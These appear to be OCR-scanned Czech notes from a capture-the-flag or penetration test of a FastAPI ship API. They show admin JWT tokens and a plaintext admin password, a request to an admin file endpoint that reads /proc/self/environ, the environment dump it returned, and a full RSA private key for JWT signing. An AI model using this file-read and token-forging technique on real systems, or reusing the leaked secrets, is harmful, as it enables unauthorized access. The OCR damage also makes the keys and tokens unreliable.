unhiNgJyNU7IhXY9rNsf2WDKHK1McBzJ1JChGIEoXX15EVOqruAtjuv27_1CezZkD
mWORzUUR7yP1LOkNgjtH3LOpoHDWLVdFtb_rD6UXD5yWiRk6_h7B5yfvUrrFnhuA
UMlnLqIE",

"token_type": "bearer"

e /Japi/vl/user/:user_id=1

{
"guid": "ceaa3b3a-19ea-42ba-2a99-009e91959bd5",

"email": "admin@local.tcc",



"date": null,

"time_created": 1690796892351,
"admin": true,

Il-idll: l

+

"password": "heslo123456"

"admin token":
eyJhbGci0iJISUzM4NCISINR5cCI6IkpXVCI9.eyJOeXB1lIjoiYWNjZXNzX3Rva2V
uIiwiZXhwIjoxNjk3MjAwMzA5LCIpYXQi0jE20TYIMDkxMDksINN1YiI6IFE1LCT
hZG1lpbiI6dHJ1ZSwiZ3VpZCI6IMNLYWEZYJNhLTES5ZWEtNDJi1YS1hYTK5LTAWOWU
5MTk10WJIKNSJ9.uLgDJi0E5YnzIghnFTCwOLwWd189ZRHhbyGh7Q5LMyCMocLKU60
UTHgZEtxOfbKJysmTDjOCglua-efSBOUWUQNvVXxsbDE-NbOxjsjvRMFu5-
X7JhqqQORk3eNZpag9730uLVKvi96_b8QPkZ7r0a01AcQ4ajOBVL25I4K00zYNNS
1U5TkpDAow7JIWxyRI305Y-
kvI562R5RApVHOhwWBrFCmrh3097aMKYdhSoPQPTIe0@7nVqgelLvrk4pORfC1ARZTU3
hvpzMkix_x2cTRQOCIDZhpFZmS-
kd43nJKQItA8IxU84JSH_ajpu7NuJ1lXQLcxwu8WeAE4F3R3QeelhXyg9bEVteY3b
te5rLqE4Y194m-XNMiU_6JDnztVqZzS_RrVEdvm-t-
jae4v08prNKhMvpHzoDnjzgSWFHpnhC-5k6dJgCrxwcr7QQ49PvFVAMhmQesozT—
yMok f1lK_MmJJSu_E9aKzwpl6b5hm87jJDzMY3Cjempugqy—
9fb5wMbfulEGrzAMSXwxMy1GjAUa99S2szUeKZevDcky3agh7z2E2AAoeUYPIRBs
JO9RrPyB-
mtH5EYLY11nkhMDTAS5B5yAFLAONUuTgwsJfS3zRot415AQy6_Ek8b7AAQdIMSW3cM
Dy4HcOUTRZ1L5HUM97N861qlIMF_-KpF_O4EmBNL00O3Zrv2o0

{"file" :"HOSTNAME=eb46bal367de\u@OOOPYTHON_VERSION=3.10.13\u0000
APP_MODULE=shipapi.main:app\u@OOOPWD=/app\uOOOOPORT=80\u®OOOPYTH
ON_SETUPTOOLS_VERSION=65.5.1\u0000TZ=Europe/Prague\u0@0OOHOME=/ho
me/appuser \UOOOOLANG=C.UTF-
8\UOOOOVIRTUAL_ENV=/app/venv\uO0OOGPG_KEY=A035C8C19219BA821ECEAS8
6B64E628F8D684696D\UOOOOPYTHONPATH=. \uOOOOHOST=0.0.0.0\uGOOOSHLV
L=0\uOOOOPYTHON_PIP_VERSION=23.0.1\uOGOOOVIRTUAL_ENV_PROMPT=
(venv)
\UOOOOPYTHON_GET_PIP_SHA256=45a2bb8bf2bb5effl16fddo0faef6f2973183



1c7c59bd9fc2bfl1f3bed511ff1fe\u@OOOPS1=(venv)
\UOOOOPYTHON_GET_PIP_URL=https://github.com/pypa/get-
pip/raw/9af82b715db434abb94a0a6f3569f43e72157346/public/get-
pip.py\uBOOOPATH=/app/venv/bin:/usr/local/bin:/usr/local/sbin:/u
sr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u®0e0"}

@® Info

- Tady jsem naSel zajimavé informace o tom, kde bézi python app

POST v {{baseUrl}}fapifv1/admin/file
Params Authorization Headers (10) Body » Pre-request Script Tests @ Settings
none form-data x-www-form-urlencoded @ raw binary GraphQL JSON
1 d
2 "file": "/proc/self/environ"
3

Odpoveéd byla:

{"file":"HOSTNAME=eb46bal1367de\u@OOOPYTHON_VERSION=3.10.13\u0000
APP_MODULE=shipapi.main:app\uO0OOPWD=/app\uOOOOPORT=80\uOOOOPYTH
ON_SETUPTOOLS_VERSION=65.5.1\u0000TZ=Europe/Prague\u0@0OOHOME=/ho
me/appuser \UOOOOLANG=C.UTF-
8\UOOOOVIRTUAL_ENV=/app/venv\uOOOOGPG_KEY=A035C8C19219BA821ECEAS
6B64E628F8D684696D\UOOOOPYTHONPATH=. \uOOOOHOST=0.0.0.0\uGOOOSHLV
L=0\uOOOOPYTHON_PIP_VERSION=23.0.1\uO@OOVIRTUAL_ENV_PROMPT=
(venv)
\UOOOOPYTHON_GET_PIP_SHA256=45a2bb8bf2bb5eff16fddo0faef6f2973183
1c7c59bd9fc2bf1f3bed511ff1fe\u@OOOPS1=(venv)
\UOOGOOPYTHON_GET_PIP_URL=https://github.com/pypa/get-
pip/raw/9af82b715db434abb94a0a6f3569f43e72157346/public/get-



pip.py\UBOOOPATH=/app/venv/bin:/usr/local/bin:/usr/local/sbin:/u
sr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0e0"}

RSA key

\NMIIJKAIBAAKCAgEAzZ90gXFgfAkwkHpaJebs4IB1fPRcMcg8zprGPzgh6HQUSE
GN\nzWOof5Sf5HPg6vVPB1GGK]jg4YeHH+PNo6I80a+s6mmA8Nj511bgp7WXgB8GT
UQmA\nlyjGHAvd2p5Bs0OVBS/92EKGCRXOOUMKUM7eNI3FLmZ/AO1CXeFS/LSGwOC
Q7yIIm\nWIbpXGqSKkOtKz9E+r2eckxEBPUmMPs7ulL4lalgFrukQjiPjEG4CjUWxvV
53070i0d\nC+fbPoS+mKOWRfLjIod1lOV3dCm/P4IzB5a8qVozCIwzmLZW12ZjgFt
3JrsP60oJIxW\ngmzZ82gmt+ps9Zaabg@+797hwfIWmpLtEht13gG21w37hVIU9BYSu
/tSXEYMQ5G3i\nlafgSulrp8KsldnZTyYVyHXfGC5rZNRh7dnrYR/SzREH1Xx5mvT
AYqgZk9cT732cP5\nyS8gRzMGyQCBWOVMXSX1WEpjy3zSXwh/QDHOjeuHH/TrcvOe
FdgbAlVdjiM6epStc\n3uIcll+Ik4s0d4htUiMWOOQ5hW1qOAFZedQLlnXLKBgNXI/
OE®8XX0GE3mVHCcR135\n2Qj Ok fOA8ICWCZNtIgQQKx+jDVWKMZ rmUL+W6+/zFV8p
Tp9HrL/1gx+kLbyB2Cfw\nLbRnPychfePyOqD9kbLR2tyh5jTLmin0OV5+sLsbCrw
HaNmLNYOrIzQxxzZcCAwWEA\NAQKCAgB1RHRsLjzYgGUyAJVpCEoPyFM48COkQI5t
RATKNjkgWSIME1bLOXVHTXvi\nzjN3zG9FKz1lY2rdNG3bwg+FQWEV5Rq41XLz6Mp
vhRyaiPXeGON8PWFwiWR614CGm\njJrropOaxBaSUsn4111Tov02ivfzPqne8z0OE
tPGtrqdZFd3A1ulBcPhthIOSMTUq\n5W3dPDgayAmVJemk6ir 1px4wAGlpP2Yw1K
tvenB1lPvfld/JaEVvXxIBNwtspS3WHV\nsO/WOK6VAqQMOxH1LenkTlzL9yuhac+xE
ERcO6CzN7GHgqIxdD2fgMUk75TdPIjYW\ntnINhrcqLE8G+Cku5ColyKdMQLNn1lfv
d7A6XTamHhvOssDwdijTNTrGtTeCnd5w60\nIB2a3kxQwIXNmgOyJY5+Wgoh8Zwb
hj87mHfT1lhPoOCWs1nVeF+93TASEKAL67rR5\nU1S19mps/607NYNTURogcLHI+w
h+25ggWw4hB5eeQfNWCs2gjHgNjoB9zu3x1q05\nJoYwBjrDice91C5eTGEIxjXd
HTQ24q900a]j62VTBPa8ggbuzFFeb/G3imWB7ICbs\n2z3MX04Qk65zQAw]/QBxay
gHEYOHSSegtPznc8bgbXgUkTM4AgKCACXGT7 /1pHDx\nk50WBpgOmcOv 1Kixn0OeJ
XZSHwrvBnp/n/30NwZJ4ZIDIallQAQKCAQEA51hsCZkZ\nZH1TDo4do6qoV5fTwF
OkfevwLmvGovyfA/k8fEbIBE3hOx+IbcPm7dOFjFopHXQG\NQsQnFkFxt3T4gNgA
kSIhCHpqRO1UOhZX9aKDu/e9/dU/MUHudpwEVCHT6ywbRP5p\nU441tRxPdBeAi2
13Zowx0YtdC7gBwnB2wwDYiv1Vid1ZONrGUvcBG/+18+nhaH+g\niBZyMWd8GCsB
yURcD934qvvsv//a/J/Pzdta/cqHZ5Pv/AHOg5B5WPahr fcS2TWL1\nFTAQpMCeFu
TawHLCEAWYwg/nuLePYafMFr8bWT8GeAMfKTujiMWGspHgNQGQ1AZg\nYpSvdoHr



UzTA5QKCAQEA44k37gsk006EqVPi+/foJvCC3xA2npNTndFPROiL55Ra\ndz4 /WV
bUed4GpM5GEX7IDZbf2AwP4tEPR1SCcR7CBcPsNZNf8ArFghpPrXhpKF1u3\nX1sC
BDzOC7D6I7xDcy7SvZFm9395shXA2Rm2ZkojxTjWDXxt/b9/btZKQxJQd4gn\nly
Vn7ciJdKyrRoDgH3tPAo7jLEZb/Scvex7WzMObXnAils7zmrul2rkawuUAdStP\n
/7Q0zDpxc90ZSSI1sQIPze/jNDb5bNfo5fI9muVoANX7qPVewMkxY fz7SbEsF/MJw
\nuvEDIWKuBUDMEs1h3NwHODWs3kvQ5bML7j/Cn/yB4ywKCAQEAUK6V4KGlOcDycy
Yk\npylvpi2AT4qLVTKC1KwZMLf2wZdQH+3pcvYxHZ+4q9e+HIHFhRvcwrSC4v3w
LiYk\nf84TS8jS5gmWOUVYV/91/Rj1MxR/kajetSptfgciNPGryvYOVSkqwIONNhf
R7D5AA\nJa81YRkMPoMgMM3+g4RgXiylwlqEg8Blbt+T+dUMielLBsfZ0Jv/IgEGS
h9FTa/ku\n6aQ7ks7Np6UOBIGEqGmM6Cf4SSEYax4vMuHUzGbz906GcHdcVjukO1M
25cdO0jFcLm\n8WPU9d5XTK8LGbDUZXNMNStdE70QQ516s0fasnH3xRHay+cEU4x1i
b8CHYRANU4+3\nqwKDuQKCAQAYOD8MM6TYNJJIVEPPg/JERpgrvnooGUXxS8UjYt0Op
pnPION5y40HBi1QX\nwjHBSU11D1dMVvBZfLjmRR7E92y 1L3CDRNF9CjxdJh+R56Kmz
UnSgBX2C5Z7brXYD\nzGILAZ3tcr7Cs5eiCAHSfPLR+i17dCtrJyD/3qokoMfkIsk
/Y7qdd0f4iyo6B70uo\nkKgBAVAG70CZ69EQYI9vmSI6x85QDM573doOmFd2VEOFq
v+L+PBEHthh8TzuJ5Bm5\nQ/Rc+GEYk6L2V2HUsOYUi5s3cdnW /sy lCNkspWJuqgc
rA3a3+510Y0++NQ310678E\njaNzrXgtqMULXKUkfOokEpmBMgIwHS9VvAOIBAGbx
azYSsr+dih1x8xpQE89S5Wq/\n3HF71GK19YXq9SkWOPmMK84z1w8e020HNnfy33Fn
xKWOicvzFzZyhMwt7xi4HVevAR\ngEM7trgMtWczZsk+9WlnCcyyb/db4kMjQpgWF
OLMb8uUS3RbO5F4cF7rSziSrYoMV1\nVw6ND2CTVdgiZ2Kj+oPULc8ANgmurLDanE
BQ5MA6Y518pLkBjMv8pm+wB2Y33A7TM\n7HsINajLs2R/7rImp7XFvWgZEMwhnxDL
00QsAjIVTOPEZFMCUugUtX8FmvrVIX4e\nlrpwG/8sTSyJ2iTpi2ZQHaRuXMM8VH
hw/zaTzlwL49eWlIgYPCarOEVurpQ=\n----- END RSA PRIVATE KEY----- \n

PUB rsa

MIICCgKCAgEAzZ90gXFgfAkwkHpaJebs4JIB1fPRcMcg8zprGPzgh6HQUSEGNzWOO
f5Sf5HPg6vVPB1GGK]jg4YeHH+PNo6I80a+s6mmA8Nj511bgp7WXgB8GTUQMALlyY jG
HAvd2p5Bs0OVBS /92EKGCRXOOUmMKUM7eNI3FLmZ/AO1LCXeFS/LSGwOCQ7yIImWIbp
XGqSKkOtKz9E+r2eckxEBPUMPs7ulL41aJgFrukQjiPjEG4CjUWxv53070170dC+fb
PoS+mKOWRTLjIod1lOV3dCm/P4IzB5a8qVozCIwzmLZW12ZjgFt3JrsP6oJxWgmZ8
2gmt+ps9Zaabgd+797hwfIWmpLtEht13gG21w37hVIU9BYSu/tSXEYMQ5G3ilafg
Sulrp8KsldnZTyYVyHXfGC5rZNRh7dnrYR/SzREH1x5mvTAYqgZk9c732cP5yS8q



RzMGyQCBWOVMXSX1WEpjy3zSXwh/QDHOjeuHH/TrcvOeFdgbAlVdjiMe6pStc3ulc
11+Ik4s0d4htUiMWO0Q5hW1qOAFZedQlnXLKBgNXI /OEO8XX0GE3mVHCR1352Q730
kfOA8ICWCzNtIgQQKx+jDVWKkMZrmUL+W6+/zFV8pTp9HrL/1gx+kLbyB2CfwLbRn
PychfePyOqD9kbLR2tyh5jTLmin0OV5+sLsbCrwHaNmLNYOrIzQxxzZcCAWEAAQ==

Struktura python aplikace:

/app
/shipapi
__init__.py
/main.py (obsahuje hlavni aplikacni koéd s routami
a nastavenim FastAPI)
/appconfig
__init__.py
/config.py (obsahuje nastaveni aplikace, jak bylo
vidét v prikladu)
/jwtsigning.key (kli¢ pro podepisovani JWT)
/jwtsigning.pub (verejny kli¢ pro ovérovani JWT)
/schemas
__init__.py
juser.py (definuje pydantic modely pro
uzivatele, jak bylo vidét v prikladu)
/api
__init__.py
/vl
__init__.py
(dalsi soubory/moduly souvisejici s verzi 1 API)
/venv (virtualni prostredi Pythonu)
/navalship.db (SQLite databaze, predpokladana umisténi

na zakladé konfigurace)



- JWT token debugger



https://jwt.io/

